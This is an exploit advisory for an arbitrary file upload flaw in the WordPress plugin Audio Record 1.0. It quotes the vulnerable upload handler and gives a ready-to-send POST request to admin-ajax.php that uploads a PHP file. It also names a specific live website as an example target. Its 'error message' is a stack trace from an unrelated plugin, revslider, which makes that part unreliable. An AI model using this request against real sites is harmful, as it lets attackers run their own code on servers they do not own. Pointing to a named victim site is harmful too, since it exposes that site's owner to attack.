WordPress Plugin Audio Record 1.0 - Arbitrary File Upload

2018.12.31
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload Software Link: https://wordpress.org/plugins/audio-record/ Exploit Author: The Mechiavellian Exploit Author Facebook : facebook.com/TheMachiavellian/ special thank to : https://kaimi.io Version: 1.0 Category: webapps Unrestricted file upload in record upload process allowing arbitrary extension. File: recorder.php >>Vulnerable code: function save_record_callback() { foreach(array('audio') as $type) { if (isset($_FILES["${type}-blob"])) { $fileName = uniqid() . '_' .$_POST["${type}-filename"] ; $path_array = wp_upload_dir(); $path = str_replace('\\', '/', $path_array['path']); $uploadDirectory = $path . "/$fileName"; if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) { echo 000; wp_die("problem moving uploaded file"); } >>Error message : Fatal error: Uncaught Error: [] operator not supported for strings in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php:71 Stack trace: #0 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(572): RevSliderBaseAdmin::addMetaBox('Revolution Slid...', '', Array, NULL) #1 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(73): RevSliderAdmin->addSliderMetaBox() #2 /www/wp-content/plugins/revslider/admin/revslider-admin.class.php(44): RevSliderAdmin->init() #3 /www/wp-content/plugins/revslider/revslider.php(162): RevSliderAdmin->__construct('/www/wp-content...') #4 /www/wp-settings.php(305): include_once('/www/wp-content...') #5 /www/wp-config.php(98): require_once('/www/wp-setting...') #6 /www/wp-load.php(37): require_once('/www/wp-config....') #7 /www/wp-admin/admin-ajax.php(22): require_once('/www/wp-load.ph...') #8 {main} thrown in /www/wp-content/plugins/revslider/includes/framework/base-admin.class.php on line 71 >>Exploitation example: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851 ... -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="audio-filename" file.php -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="audio-blob"; filename="blob" Content-Type: audio/wav <?php phpinfo(); -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="action" save_record -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="course_id" undefined -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="unit_id" undefined -----------------------------18311719029180117571501079851-- Examples : [+] http://www.slotenmakermaarten.nl/wp-admin/admin-ajax.php follow me in : https://www.facebook.com/TheMachiavellian/


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